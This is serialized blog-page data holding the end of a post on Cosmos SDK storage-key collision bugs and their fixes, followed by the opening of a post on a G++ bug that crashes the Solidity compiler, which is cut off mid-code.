style":143},[88661],{"type":29,"value":290},{"type":24,"tag":83,"props":88663,"children":88664},{"style":90},[88665],{"type":29,"value":81632},{"type":24,"tag":83,"props":88667,"children":88668},{"style":107},[88669],{"type":29,"value":125},{"type":24,"tag":83,"props":88671,"children":88672},{"class":85,"line":1713},[88673,88677,88681,88685],{"type":24,"tag":83,"props":88674,"children":88675},{"style":117},[88676],{"type":29,"value":78790},{"type":24,"tag":83,"props":88678,"children":88679},{"style":90},[88680],{"type":29,"value":81632},{"type":24,"tag":83,"props":88682,"children":88683},{"style":107},[88684],{"type":29,"value":568},{"type":24,"tag":83,"props":88686,"children":88687},{"style":137},[88688],{"type":29,"value":83353},{"type":24,"tag":83,"props":88690,"children":88691},{"class":85,"line":1730},[88692],{"type":24,"tag":83,"props":88693,"children":88694},{"style":107},[88695],{"type":29,"value":3092},{"type":24,"tag":83,"props":88697,"children":88698},{"class":85,"line":1770},[88699],{"type":24,"tag":83,"props":88700,"children":88701},{"emptyLinePlaceholder":16},[88702],{"type":29,"value":3422},{"type":24,"tag":83,"props":88704,"children":88705},{"class":85,"line":1778},[88706,88710,88714,88718,88722,88726,88731,88735,88739,88744,88748,88752],{"type":24,"tag":83,"props":88707,"children":88708},{"style":117},[88709],{"type":29,"value":3018},{"type":24,"tag":83,"props":88711,"children":88712},{"style":137},[88713],{"type":29,"value":62357},{"type":24,"tag":83,"props":88715,"children":88716},{"style":107},[88717],{"type":29,"value":568},{"type":24,"tag":83,"props":88719,"children":88720},{"style":137},[88721],{"type":29,"value":78481},{"type":24,"tag":83,"props":88723,"children":88724},{"style":143},[88725],{"type":29,"value":76131},{"type":24,"tag":83,"props":88727,"children":88728},{"style":137},[88729],{"type":29,"value":88730}," values",{"type":24,"tag":83,"props":88732,"children":88733},{"style":107},[88734],{"type":29,"value":1161},{"type":24,"tag":83,"props":88736,"children":88737},{"style":137},[88738],{"type":29,"value":85184},{"type":24,"tag":83,"props":88740,"children":88741},{"style":107},[88742],{"type":29,"value":88743},"]; ",{"type":24,"tag":83,"props":88745,"children":88746},{"style":143},[88747],{"type":29,"value":20362},{"type":24,"tag":83,"props":88749,"children":88750},{"style":137},[88751],{"type":29,"value":78481},{"type":24,"tag":83,"props":88753,"children":88754},{"style":107},[88755],{"type":29,"value":125},{"type":24,"tag":83,"props":88757,"children":88758},{"class":85,"line":1803},[88759,88764,88768,88772,88776,88780,88784,88788,88792,88796,88800],{"type":24,"tag":83,"props":88760,"children":88761},{"style":137},[88762],{"type":29,"value":88763},"            values",{"type":24,"tag":83,"props":88765,"children":88766},{"style":107},[88767],{"type":29,"value":1161},{"type":24,"tag":83,"props":88769,"children":88770},{"style":137},[88771],{"type":29,"value":85184},{"type":24,"tag":83,"props":88773,"children":88774},{"style":107},[88775],{"type":29,"value":1270},{"type":24,"tag":83,"props":88777,"children":88778},{"style":143},[88779],{"type":29,"value":1275},{"type":24,"tag":83,"props":88781,"children":88782},{"style":101},[88783],{"type":29,"value":85277},{"type":24,"tag":83,"props":88785,"children":88786},{"style":107},[88787],{"type":29,"value":558},{"type":24,"tag":83,"props":88789,"children":88790},{"style":90},[88791],{"type":29,"value":66817},{"type":24,"tag":83,"props":88793,"children":88794},{"style":107},[88795],{"type":29,"value":1161},{"type":24,"tag":83,"props":88797,"children":88798},{"style":3163},[88799],{"type":29,"value":84882},{"type":24,"tag":83,"props":88801,"children":88802},{"style":107},[88803],{"type":29,"value":55154},{"type":24,"tag":83,"props":88805,"children":88806},{"class":85,"line":1811},[88807],{"type":24,"tag":83,"props":88808,"children":88809},{"style":107},[88810],{"type":29,"value":3092},{"type":24,"tag":83,"props":88812,"children":88813},{"class":85,"line":8792},[88814],{"type":24,"tag":83,"props":88815,"children":88816},{"emptyLinePlaceholder":16},[88817],{"type":29,"value":3422},{"type":24,"tag":83,"props":88819,"children":88820},{"class":85,"line":8810},[88821,88826,88830,88834,88838,88842,88846,88850,88854],{"type":24,"tag":83,"props":88822,"children":88823},{"style":137},[88824],{"type":29,"value":88825},"        values",{"type":24,"tag":83,"props":88827,"children":88828},{"style":107},[88829],{"type":29,"value":1161},{"type":24,"tag":83,"props":88831,"children":88832},{"style":137},[88833],{"type":29,"value":85184},{"type":24,"tag":83,"props":88835,"children":88836},{"style":107},[88837],{"type":29,"value":48674},{"type":24,"tag":83,"props":88839,"children":88840},{"style":137},[88841],{"type":29,"value":85453},{"type":24,"tag":83,"props":88843,"children":88844},{"style":107},[88845],{"type":29,"value":1270},{"type":24,"tag":83,"props":88847,"children":88848},{"style":143},[88849],{"type":29,"value":1275},{"type":24,"tag":83,"props":88851,"children":88852},{"style":137},[88853],{"type":29,"value":7172},{"type":24,"tag":83,"props":88855,"children":88856},{"style":107},[88857],{"type":29,"value":125},{"type":24,"tag":83,"props":88859,"children":88860},{"class":85,"line":8855},[88861,88865,88869,88874,88878,88883],{"type":24,"tag":83,"props":88862,"children":88863},{"style":137},[88864],{"type":29,"value":26700},{"type":24,"tag":83,"props":88866,"children":88867},{"style":107},[88868],{"type":29,"value":1920},{"type":24,"tag":83,"props":88870,"children":88871},{"style":137},[88872],{"type":29,"value":88873},"iterator",{"type":24,"tag":83,"props":88875,"children":88876},{"style":107},[88877],{"type":29,"value":161},{"type":24,"tag":83,"props":88879,"children":88880},{"style":101},[88881],{"type":29,"value":88882},"Value",{"type":24,"tag":83,"props":88884,"children":88885},{"style":107},[88886],{"type":29,"value":3236},{"type":24,"tag":83,"props":88888,"children":88889},{"class":85,"line":8961},[88890],{"type":24,"tag":83,"props":88891,"children":88892},{"style":107},[88893],{"type":29,"value":3092},{"type":24,"tag":83,"props":88895,"children":88896},{"class":85,"line":23248},[88897],{"type":24,"tag":83,"props":88898,"children":88899},{"style":107},[88900],{"type":29,"value":446},{"type":24,"tag":83,"props":88902,"children":88903},{"class":85,"line":23283},[88904,88908],{"type":24,"tag":83,"props":88905,"children":88906},{"style":117},[88907],{"type":29,"value":16725},{"type":24,"tag":83,"props":88909,"children":88910},{"style":137},[88911],{"type":29,"value":88912}," values\n",{"type":24,"tag":83,"props":88914,"children":88915},{"class":85,"line":23291},[88916],{"type":24,"tag":83,"props":88917,"children":88918},{"style":107},[88919],{"type":29,"value":464},{"type":24,"tag":25,"props":88921,"children":88922},{},[88923,88925,88931,88932,88938,88940,88945,88947,88952,88954,88959,88961,88967,88969,88975],{"type":29,"value":88924},"By now, you may have already noticed that this implementation suffers from field malleability issues. Imagine a scenario where both ",{"type":24,"tag":32,"props":88926,"children":88928},{"className":88927},[],[88929],{"type":29,"value":88930},"vaultId = 1",{"type":29,"value":2287},{"type":24,"tag":32,"props":88933,"children":88935},{"className":88934},[],[88936],{"type":29,"value":88937},"vaultId = 10",{"type":29,"value":88939}," coexist. If we try to fetch data under ",{"type":24,"tag":32,"props":88941,"children":88943},{"className":88942},[],[88944],{"type":29,"value":88930},{"type":29,"value":88946},", all entries under ",{"type":24,"tag":32,"props":88948,"children":88950},{"className":88949},[],[88951],{"type":29,"value":88937},{"type":29,"value":88953}," will also be returned simply because ",{"type":24,"tag":32,"props":88955,"children":88957},{"className":88956},[],[88958],{"type":29,"value":3756},{"type":29,"value":88960}," is a prefix of ",{"type":24,"tag":32,"props":88962,"children":88964},{"className":88963},[],[88965],{"type":29,"value":88966},"10",{"type":29,"value":88968},". To fix this, we must once again append the ",{"type":24,"tag":32,"props":88970,"children":88972},{"className":88971},[],[88973],{"type":29,"value":88974},"Separator",{"type":29,"value":88976}," to the iterator prefix.",{"type":24,"tag":73,"props":88978,"children":88980},{"code":88979,"language":75879,"meta":7,"className":75880,"style":7},"i := sdk.KVStorePrefixIterator(\n    kvStore,\n    fmt.Sprintf(\"%s%d%s\", PositionMapPrefix, vaultId, Seperator),\n)\n",[88981],{"type":24,"tag":32,"props":88982,"children":88983},{"__ignoreMap":7},[88984,89011,89023,89076],{"type":24,"tag":83,"props":88985,"children":88986},{"class":85,"line":86},[88987,88991,88995,88999,89003,89007],{"type":24,"tag":83,"props":88988,"children":88989},{"style":137},[88990],{"type":29,"value":3482},{"type":24,"tag":83,"props":88992,"children":88993},{"style":143},[88994],{"type":29,"value":76131},{"type":24,"tag":83,"props":88996,"children":88997},{"style":137},[88998],{"type":29,"value":78355},{"type":24,"tag":83,"props":89000,"children":89001},{"style":107},[89002],{"type":29,"value":161},{"type":24,"tag":83,"props":89004,"children":89005},{"style":101},[89006],{"type":29,"value":88169},{"type":24,"tag":83,"props":89008,"children":89009},{"style":107},[89010],{"type":29,"value":3208},{"type":24,"tag":83,"props":89012,"children":89013},{"class":85,"line":113},[89014,89019],{"type":24,"tag":83,"props":89015,"children":89016},{"style":137},[89017],{"type":29,"value":89018},"    kvStore",{"type":24,"tag":83,"props":89020,"children":89021},{"style":107},[89022],{"type":29,"value":989},{"type":24,"tag":83,"props":89024,"children":89025},{"class":85,"line":128},[89026,89031,89035,89039,89043,89048,89052,89056,89060,89064,89068,89072],{"type":24,"tag":83,"props":89027,"children":89028},{"style":137},[89029],{"type":29,"value":89030},"    fmt",{"type":24,"tag":83,"props":89032,"children":89033},{"style":107},[89034],{"type":29,"value":161},{"type":24,"tag":83,"props":89036,"children":89037},{"style":101},[89038],{"type":29,"value":84936},{"type":24,"tag":83,"props":89040,"children":89041},{"style":107},[89042],{"type":29,"value":558},{"type":24,"tag":83,"props":89044,"children":89045},{"style":187},[89046],{"type":29,"value":89047},"\"%s%d%s\"",{"type":24,"tag":83,"props":89049,"children":89050},{"style":107},[89051],{"type":29,"value":568},{"type":24,"tag":83,"props":89053,"children":89054},{"style":137},[89055],{"type":29,"value":88219},{"type":24,"tag":83,"props":89057,"children":89058},{"style":107},[89059],{"type":29,"value":568},{"type":24,"tag":83,"props":89061,"children":89062},{"style":137},[89063],{"type":29,"value":88004},{"type":24,"tag":83,"props":89065,"children":89066},{"style":107},[89067],{"type":29,"value":568},{"type":24,"tag":83,"props":89069,"children":89070},{"style":137},[89071],{"type":29,"value":88335},{"type":24,"tag":83,"props":89073,"children":89074},{"style":107},[89075],{"type":29,"value":6483},{"type":24,"tag":83,"props":89077,"children":89078},{"class":85,"line":183},[89079],{"type":24,"tag":83,"props":89080,"children":89081},{"style":107},[89082],{"type":29,"value":2905},{"type":24,"tag":25,"props":89084,"children":89085},{},[89086,89088,89093],{"type":29,"value":89087},"At first, identifying these serialization issues may seem easy. Once data structures and ",{"type":24,"tag":32,"props":89089,"children":89091},{"className":89090},[],[89092],{"type":29,"value":84690},{"type":29,"value":89094}," usage grow increasingly more complex, developers can unintentionally overlook storage key parsing mistakes.",{"type":24,"tag":25,"props":89096,"children":89097},{},[89098],{"type":29,"value":89099},"Storage keys continue to be a tedious and persistent issue when building on Cosmos. It is crucial to approach development with awareness and care to prevent bugs from creeping into code.",{"type":24,"tag":1818,"props":89101,"children":89103},{"id":89102},"real-world-examples-5",[89104],{"type":29,"value":76404},{"type":24,"tag":25,"props":89106,"children":89107},{},[89108,89109,89114,89116,89123,89125,89131],{"type":29,"value":16348},{"type":24,"tag":32,"props":89110,"children":89112},{"className":89111},[],[89113],{"type":29,"value":78177},{"type":29,"value":89115}," previously lacked protection against KVStore ",{"type":24,"tag":2033,"props":89117,"children":89120},{"href":89118,"rel":89119},"https://github.com/cosmos/cosmos-sdk/pull/9363",[2037],[89121],{"type":29,"value":89122},"key collisions",{"type":29,"value":89124},". This prior oversight allowed developers to unintentionally create two ",{"type":24,"tag":32,"props":89126,"children":89128},{"className":89127},[],[89129],{"type":29,"value":89130},"KVStores",{"type":29,"value":89132}," that were not independent of each other.",{"type":24,"tag":25,"props":89134,"children":89135},{},[89136],{"type":24,"tag":2033,"props":89137,"children":89140},{"href":89138,"rel":89139},"https://github.com/cosmos/cosmos-sdk/blob/25bd118e4cc1d60ab2f9d2e0302d271416551aa9/types/store.go#L108",[2037],[89141],{"type":29,"value":76454},{"type":24,"tag":73,"props":89143,"children":89145},{"code":89144,"language":75879,"meta":7,"className":75880,"style":7},"func NewKVStoreKeys(names ...string) map[string]*KVStoreKey {\n    keys := make(map[string]*KVStoreKey)\n    for _, name := range names {\n        keys[name] = NewKVStoreKey(name)\n    }\n\n    return keys\n}\n",[89146],{"type":24,"tag":32,"props":89147,"children":89148},{"__ignoreMap":7},[89149,89211,89259,89295,89335,89342,89349,89361],{"type":24,"tag":83,"props":89150,"children":89151},{"class":85,"line":86},[89152,89156,89161,89165,89170,89174,89178,89182,89186,89190,89194,89198,89202,89207],{"type":24,"tag":83,"props":89153,"children":89154},{"style":90},[89155],{"type":29,"value":76015},{"type":24,"tag":83,"props":89157,"children":89158},{"style":101},[89159],{"type":29,"value":89160}," NewKVStoreKeys",{"type":24,"tag":83,"props":89162,"children":89163},{"style":107},[89164],{"type":29,"value":558},{"type":24,"tag":83,"props":89166,"children":89167},{"style":137},[89168],{"type":29,"value":89169},"names",{"type":24,"tag":83,"props":89171,"children":89172},{"style":143},[89173],{"type":29,"value":25050},{"type":24,"tag":83,"props":89175,"children":89176},{"style":3163},[89177],{"type":29,"value":29418},{"type":24,"tag":83,"props":89179,"children":89180},{"style":107},[89181],{"type":29,"value":633},{"type":24,"tag":83,"props":89183,"children":89184},{"style":90},[89185],{"type":29,"value":66817},{"type":24,"tag":83,"props":89187,"children":89188},{"style":107},[89189],{"type":29,"value":1161},{"type":24,"tag":83,"props":89191,"children":89192},{"style":3163},[89193],{"type":29,"value":29418},{"type":24,"tag":83,"props":89195,"children":89196},{"style":107},[89197],{"type":29,"value":15151},{"type":24,"tag":83,"props":89199,"children":89200},{"style":143},[89201],{"type":29,"value":4315},{"type":24,"tag":83,"props":89203,"children":89204},{"style":3163},[89205],{"type":29,"value":89206},"KVStoreKey",{"type":24,"tag":83,"props":89208,"children":89209},{"style":107},[89210],{"type":29,"value":125},{"type":24,"tag":83,"props":89212,"children":89213},{"class":85,"line":113},[89214,89219,89223,89227,89231,89235,89239,89243,89247,89251,89255],{"type":24,"tag":83,"props":89215,"children":89216},{"style":137},[89217],{"type":29,"value":89218},"    keys",{"type":24,"tag":83,"props":89220,"children":89221},{"style":143},[89222],{"type":29,"value":76131},{"type":24,"tag":83,"props":89224,"children":89225},{"style":101},[89226],{"type":29,"value":85277},{"type":24,"tag":83,"props":89228,"children":89229},{"style":107},[89230],{"type":29,"value":558},{"type":24,"tag":83,"props":89232,"children":89233},{"style":90},[89234],{"type":29,"value":66817},{"type":24,"tag":83,"props":89236,"children":89237},{"style":107},[89238],{"type":29,"value":1161},{"type":24,"tag":83,"props":89240,"children":89241},{"style":3163},[89242],{"type":29,"value":29418},{"type":24,"tag":83,"props":89244,"children":89245},{"style":107},[89246],{"type":29,"value":15151},{"type":24,"tag":83,"props":89248,"children":89249},{"style":143},[89250],{"type":29,"value":4315},{"type":24,"tag":83,"props":89252,"children":89253},{"style":3163},[89254],{"type":29,"value":89206},{"type":24,"tag":83,"props":89256,"children":89257},{"style":107},[89258],{"type":29,"value":2905},{"type":24,"tag":83,"props":89260,"children":89261},{"class":85,"line":128},[89262,89266,89270,89274,89278,89282,89286,89291],{"type":24,"tag":83,"props":89263,"children":89264},{"style":117},[89265],{"type":29,"value":2777},{"type":24,"tag":83,"props":89267,"children":89268},{"style":137},[89269],{"type":29,"value":2782},{"type":24,"tag":83,"props":89271,"children":89272},{"style":107},[89273],{"type":29,"value":568},{"type":24,"tag":83,"props":89275,"children":89276},{"style":137},[89277],{"type":29,"value":48216},{"type":24,"tag":83,"props":89279,"children":89280},{"style":143},[89281],{"type":29,"value":76131},{"type":24,"tag":83,"props":89283,"children":89284},{"style":117},[89285],{"type":29,"value":77114},{"type":24,"tag":83,"props":89287,"children":89288},{"style":137},[89289],{"type":29,"value":89290}," names",{"type":24,"tag":83,"props":89292,"children":89293},{"style":107},[89294],{"type":29,"value":125},{"type":24,"tag":83,"props":89296,"children":89297},{"class":85,"line":183},[89298,89302,89306,89310,89314,89318,89323,89327,89331],{"type":24,"tag":83,"props":89299,"children":89300},{"style":137},[89301],{"type":29,"value":25082},{"type":24,"tag":83,"props":89303,"children":89304},{"style":107},[89305],{"type":29,"value":1161},{"type":24,"tag":83,"props":89307,"children":89308},{"style":137},[89309],{"type":29,"value":48216},{"type":24,"tag":83,"props":89311,"children":89312},{"style":107},[89313],{"type":29,"value":1270},{"type":24,"tag":83,"props":89315,"children":89316},{"style":143},[89317],{"type":29,"value":1275},{"type":24,"tag":83,"props":89319,"children":89320},{"style":101},[89321],{"type":29,"value":89322}," NewKVStoreKey",{"type":24,"tag":83,"props":89324,"children":89325},{"style":107},[89326],{"type":29,"value":558},{"type":24,"tag":83,"props":89328,"children":89329},{"style":137},[89330],{"type":29,"value":48216},{"type":24,"tag":83,"props":89332,"children":89333},{"style":107},[89334],{"type":29,"value":2905},{"type":24,"tag":83,"props":89336,"children":89337},{"class":85,"line":203},[89338],{"type":24,"tag":83,"props":89339,"children":89340},{"style":107},[89341],{"type":29,"value":446},{"type":24,"tag":83,"props":89343,"children":89344},{"class":85,"line":212},[89345],{"type":24,"tag":83,"props":89346,"children":89347},{"emptyLinePlaceholder":16},[89348],{"type":29,"value":3422},{"type":24,"tag":83,"props":89350,"children":89351},{"class":85,"line":256},[89352,89356],{"type":24,"tag":83,"props":89353,"children":89354},{"style":117},[89355],{"type":29,"value":16725},{"type":24,"tag":83,"props":89357,"children":89358},{"style":137},[89359],{"type":29,"value":89360}," keys\n",{"type":24,"tag":83,"props":89362,"children":89363},{"class":85,"line":270},[89364],{"type":24,"tag":83,"props":89365,"children":89366},{"style":107},[89367],{"type":29,"value":464},{"type":24,"tag":25,"props":89369,"children":89370},{},[89371,89373,89378,89380,89385,89387,89392],{"type":29,"value":89372},"Thanks to the diligence of core developers, checks are now enforced and the ",{"type":24,"tag":32,"props":89374,"children":89376},{"className":89375},[],[89377],{"type":29,"value":78177},{"type":29,"value":89379}," will refuse to run if any ",{"type":24,"tag":32,"props":89381,"children":89383},{"className":89382},[],[89384],{"type":29,"value":84690},{"type":29,"value":89386}," keys are prefix of each other. This implementation alleviates developers from having to worry about key collisions on the ",{"type":24,"tag":32,"props":89388,"children":89390},{"className":89389},[],[89391],{"type":29,"value":84690},{"type":29,"value":89393}," level.",{"type":24,"tag":25,"props":89395,"children":89396},{},[89397,89399,89406],{"type":29,"value":89398},"Additional storage key issues like subtle bugs in the Cosmos-SDK have resulted in ",{"type":24,"tag":2033,"props":89400,"children":89403},{"href":89401,"rel":89402},"https://github.com/cosmos/cosmos-sdk/issues/12661",[2037],[89404],{"type":29,"value":89405},"incorrect iterator behavior",{"type":29,"value":161},{"type":24,"tag":25,"props":89408,"children":89409},{},[89410,89412,89419],{"type":29,"value":89411},"Notably, gradual adoption of the ",{"type":24,"tag":2033,"props":89413,"children":89416},{"href":89414,"rel":89415},"https://github.com/cosmos/cosmos-sdk/tree/def657dafa615cb8e8bb072452663893157e073a/collections",[2037],[89417],{"type":29,"value":89418},"collections",{"type":29,"value":89420}," storage helpers since Cosmos v0.50 has made it a lot more difficult to write buggy code. This demonstrates the importance of keeping up to date with the latest SDK development to leverage architectural security improvements.",{"type":24,"tag":51,"props":89422,"children":89423},{"id":28683},[89424],{"type":29,"value":18686},{"type":24,"tag":25,"props":89426,"children":89427},{},[89428],{"type":29,"value":89429},"The Cosmos SDK is a powerful tool for those who want to create custom blockchains. However, this flexibility brings about great responsibility. Developers must pay close attention to nuances, as these can expose a large number of potential attack surfaces.",{"type":24,"tag":25,"props":89431,"children":89432},{},[89433],{"type":29,"value":89434},"To recap, we discussed some of the more basic parts of Cosmos-SDK, showcasing common mistakes developers tend to make. Yet, it is important to note that we've only covered the tip of the iceberg. Other attack surfaces, such as authentications in relation to the IBC interface, are fundamentals absolutely worth looking into.",{"type":24,"tag":2584,"props":89436,"children":89437},{},[89438],{"type":29,"value":2588},{"title":7,"searchDepth":113,"depth":113,"links":89440},[89441,89442,89445,89448,89451,89454,89457,89460],{"id":28766,"depth":113,"text":28769},{"id":75596,"depth":113,"text":75599,"children":89443},[89444],{"id":76401,"depth":128,"text":76404},{"id":76997,"depth":113,"text":77000,"children":89446},[89447],{"id":77646,"depth":128,"text":76404},{"id":78143,"depth":113,"text":78146,"children":89449},[89450],{"id":79442,"depth":128,"text":76404},{"id":80786,"depth":113,"text":80789,"children":89452},[89453],{"id":81324,"depth":128,"text":76404},{"id":82843,"depth":113,"text":82846,"children":89455},[89456],{"id":83722,"depth":128,"text":76404},{"id":84676,"depth":113,"text":84679,"children":89458},[89459],{"id":89102,"depth":128,"text":76404},{"id":28683,"depth":113,"text":18686},"content:blog:2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security.md","blog/2025-06-10-cosmos-security",{"_path":89465,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":89466,"description":89467,"author":89468,"image":89469,"date":89471,"tags":89472,"isFeatured":16,"onBlogPage":16,"body":89473,"_type":2606,"_id":92182,"_source":2608,"_file":92183,"_stem":92184,"_extension":2611},"/blog/2025-08-11-compiler-bug-causes-compiler-bug","Compiler Bug Causes Compiler Bug: How a 12-Year-Old G++ Bug Took Down Solidity","A subtle G++ bug from 2012, C++20's new comparison rules, and legacy Boost code can collide to crash Solidity's compiler on valid code. We unpack the surprising chain reaction and how to fix it.","kiprey",{"src":89470,"height":15,"width":15},"/posts/compiler-bug-causes-compiler-bug/title.png","2025-08-11",[4219,28761],{"type":21,"children":89474,"toc":92166},[89475,89480,89617,89622,89627,89632,89637,89750,89755,89760,89765,89805,89818,89823,89841,89846,89849,89855,89869,89882,89887,89900,89905,89917,89930,89935,89938,89944,89950,90007,90012,90018,90032,90067,90075,90083,90103,90109,90114,90554,90562,90606,90611,90619,90627,90666,90671,90679,90684,90687,90693,90699,90724,90736,90763,90796,90801,90804,90810,90829,91347,91360,91378,91401,91412,91417,91520,91525,91530,91544,91549,91625,91643,91648,91651,91657,91669,91681,92021,92026,92044,92049,92052,92058,92063,92081,92101,92104,92110,92129,92132,92136,92141,92152,92157,92162],{"type":24,"tag":25,"props":89476,"children":89477},{},[89478],{"type":29,"value":89479},"Compilers aren't supposed to crash — especially not when compiling perfectly valid code like this:",{"type":24,"tag":73,"props":89481,"children":89483},{"code":89482,"language":4219,"meta":7,"className":4220,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure returns (uint256) {\n        return 1 ** 2;\n    }\n}\n",[89484],{"type":24,"tag":32,"props":89485,"children":89486},{"__ignoreMap":7},[89487,89495,89513,89520,89537,89579,89603,89610],{"type":24,"tag":83,"props":89488,"children":89489},{"class":85,"line":86},[89490],{"type":24,"tag":83,"props":89491,"children":89492},{"style":2735},[89493],{"type":29,"value":89494},"// SPDX-License-Identifier: UNLICENSED\n",{"type":24,"tag":83,"props":89496,"children":89497},{"class":85,"line":113},[89498,89503,89508],{"type":24,"tag":83,"props":89499,"children":89500},{"style":117},[89501],{"type":29,"value":89502},"pragma",{"type":24,"tag":83,"props":89504,"children":89505},{"style":90},[89506],{"type":29,"value":89507}," solidity",{"type":24,"tag":83,"props":89509,"children":89510},{"style":107},[89511],{"type":29,"value":89512}," ^0.8.25;\n",{"type":24,"tag":83,"props":89514,"children":89515},{"class":85,"line":128},[89516],{"type":24,"tag":83,"props":89517,"children":89518},{"emptyLinePlaceholder":16},[89519],{"type":29,"value":3422},{"type":24,"tag":83,"props":89521,"children":89522},{"class":85,"line":183},[89523,89528,89533],{"type":24,"tag":83,"props":89524,"children":89525},{"style":90},[89526],{"type":29,"value":89527},"contract",{"type":24,"tag":83,"props":89529,"children":89530},{"style":3163},[89531],{"type":29,"value":89532}," A",{"type":24,"tag":83,"props":89534,"children":89535},{"style":107},[89536],{"type":29,"value":125},{"type":24,"tag":83,"props":89538,"children":89539},{"class":85,"line":203},[89540,89545,89550,89554,89558,89563,89567,89571,89575],{"type":24,"tag":83,"props":89541,"children":89542},{"style":90},[89543],{"type":29,"value":89544},"    function",{"type":24,"tag":83,"props":89546,"children":89547},{"style":101},[89548],{"type":29,"value":89549}," a",{"type":24,"tag":83,"props":89551,"children":89552},{"style":107},[89553],{"type":29,"value":13788},{"type":24,"tag":83,"props":89555,"children":89556},{"style":90},[89557],{"type":29,"value":61390},{"type":24,"tag":83,"props":89559,"children":89560},{"style":90},[89561],{"type":29,"value":89562}," pure",{"type":24,"tag":83,"props":89564,"children":89565},{"style":117},[89566],{"type":29,"value":75708},{"type":24,"tag":83,"props":89568,"children":89569},{"style":107},[89570],{"type":29,"value":223},{"type":24,"tag":83,"props":89572,"children":89573},{"style":3163},[89574],{"type":29,"value":45887},{"type":24,"tag":83,"props":89576,"children":89577},{"style":107},[89578],{"type":29,"value":253},{"type":24,"tag":83,"props":89580,"children":89581},{"class":85,"line":212},[89582,89586,89590,89595,89599],{"type":24,"tag":83,"props":89583,"children":89584},{"style":117},[89585],{"type":29,"value":15482},{"type":24,"tag":83,"props":89587,"children":89588},{"style":245},[89589],{"type":29,"value":295},{"type":24,"tag":83,"props":89591,"children":89592},{"style":143},[89593],{"type":29,"value":89594}," **",{"type":24,"tag":83,"props":89596,"children":89597},{"style":245},[89598],{"type":29,"value":7681},{"type":24,"tag":83,"props":89600,"children":89601},{"style":107},[89602],{"type":29,"value":321},{"type":24,"tag":83,"props":89604,"children":89605},{"class":85,"line":256},[89606],{"type":24,"tag":83,"props":89607,"children":89608},{"style":107},[89609],{"type":29,"value":446},{"type":24,"tag":83,"props":89611,"children":89612},{"class":85,"line":270},[89613],{"type":24,"tag":83,"props":89614,"children":89615},{"style":107},[89616],{"type":29,"value":464},{"type":24,"tag":25,"props":89618,"children":89619},{},[89620],{"type":29,"value":89621},"Yet running Solidity's compiler (solc) on this file on a standard Ubuntu 22.04 system (G++ 11.4, Boost 1.74) causes an immediate segmentation fault.",{"type":24,"tag":25,"props":89623,"children":89624},{},[89625],{"type":29,"value":89626},"At first, this seemed absurd. The code just returns 1 to the power of 2 — no memory tricks, unsafe casting, or undefined behavior.",{"type":24,"tag":25,"props":89628,"children":89629},{},[89630],{"type":29,"value":89631},"And yet, it crashes.",{"type":24,"tag":25,"props":89633,"children":89634},{},[89635],{"type":29,"value":89636},"Another minimal example?",{"type":24,"tag":73,"props":89638,"children":89640},{"code":89639,"language":4219,"meta":7,"className":4220,"style":7},"// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.25;\n\ncontract A {\n    function a() public pure {\n        uint256[1] data;\n    }\n}\n",[89641],{"type":24,"tag":32,"props":89642,"children":89643},{"__ignoreMap":7},[89644,89651,89666,89673,89688,89715,89736,89743],{"type":24,"tag":83,"props":89645,"children":89646},{"class":85,"line":86},[89647],{"type":24,"tag":83,"props":89648,"children":89649},{"style":2735},[89650],{"type":29,"value":89494},{"type":24,"tag":83,"props":89652,"children":89653},{"class":85,"line":113},[89654,89658,89662],{"type":24,"tag":83,"props":89655,"children":89656},{"style":117},[89657],{"type":29,"value":89502},{"type":24,"tag":83,"props":89659,"children":89660},{"style":90},[89661],{"type":29,"value":89507},{"type":24,"tag":83,"props":89663,"children":89664},{"style":107},[89665],{"type":29,"value":89512},{"type":24,"tag":83,"props":89667,"children":89668},{"class":85,"line":128},[89669],{"type":24,"tag":83,"props":89670,"children":89671},{"emptyLinePlaceholder":16},[89672],{"type":29,"value":3422},{"type":24,"tag":83,"props":89674,"children":89675},{"class":85,"line":183},[89676,89680,89684],{"type":24,"tag":83,"props":89677,"children":89678},{"style":90},[89679],{"type":29,"value":89527},{"type":24,"tag":83,"props":89681,"children":89682},{"style":3163},[89683],{"type":29,"value":89532},{"type":24,"tag":83,"props":89685,"children":89686},{"style":107},[89687],{"type":29,"value":125},{"type":24,"tag":83,"props":89689,"children":89690},{"class":85,"line":203},[89691,89695,89699,89703,89707,89711],{"type":24,"tag":83,"props":89692,"children":89693},{"style":90},[89694],{"type":29,"value":89544},{"type":24,"tag":83,"props":89696,"children":89697},{"style":101},[89698],{"type":29,"value":89549},{"type":24,"tag":83,"props":89700,"children":89701},{"style":107},[89702],{"type":29,"value":13788},{"type":24,"tag":83,"props":89704,"children":89705},{"style":90},[89706],{"type":29,"value":61390},{"type":24,"tag":83,"props":89708,"children":89709},{"style":90},[89710],{"type":29,"value":89562},{"type":24,"tag":83,"props":89712,"children":89713},{"style":107},[89714],{"type":29,"value":125},{"type":24,"tag":83,"props":89716,"children":89717},{"class":85,"line":212},[89718,89723,89727,89731],{"type":24,"tag":83,"props":89719,"children":89720},{"style":3163},[89721],{"type":29,"value":89722},"        uint256",{"type":24,"tag":83,"props":89724,"children":89725},{"style":107},[89726],{"type":29,"value":1161},{"type":24,"tag":83,"props":89728,"children":89729},{"style":245},[89730],{"type":29,"value":3756},{"type":24,"tag":83,"props":89732,"children":89733},{"style":107},[89734],{"type":29,"value":89735},"] data;\n",{"type":24,"tag":83,"props":89737,"children":89738},{"class":85,"line":256},[89739],{"type":24,"tag":83,"props":89740,"children":89741},{"style":107},[89742],{"type":29,"value":446},{"type":24,"tag":83,"props":89744,"children":89745},{"class":85,"line":270},[89746],{"type":24,"tag":83,"props":89747,"children":89748},{"style":107},[89749],{"type":29,"value":464},{"type":24,"tag":25,"props":89751,"children":89752},{},[89753],{"type":29,"value":89754},"Still crashes.",{"type":24,"tag":25,"props":89756,"children":89757},{},[89758],{"type":29,"value":89759},"So what’s going on?",{"type":24,"tag":25,"props":89761,"children":89762},{},[89763],{"type":29,"value":89764},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":24,"tag":73,"props":89766,"children":89768},{"code":89767,"language":28863,"meta":7,"className":28861,"style":7},"if (*lengthValue == 0) { ... 